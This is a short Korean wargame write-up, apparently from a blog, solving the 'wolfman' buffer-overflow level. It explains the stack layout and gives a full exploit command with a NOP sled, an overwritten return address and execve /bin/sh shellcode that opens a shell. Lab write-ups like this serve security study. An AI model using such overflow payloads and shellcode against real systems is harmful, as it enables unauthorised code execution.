jhyoonzi 2017. 5. 16. 23:47



전과다른건 buffer hunter 가 생겻다는 점입니다.


buffer를 0 으로 초기화하는데 


문제를 푸는데 딱히 걸리지않습니다.





문제풀이는 전에 풀던 goblin과 별차이가 없습니다.


gdb를 통해 주소값을 찾고


이전과 스택도 같습니다. 


nop 40 + sfp 4 + ret 4 +nop 200 + shellcode 25


로 익스하면되겟습니다.







보면 주소값은 0xbffffc80 될 것입니다.


그렇다면 바로 익스해보면

./wolfman `python -c 'print "\x90"*44 + "\x80\xfc\xff\xbf" + "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`




쉘이 주어집니다.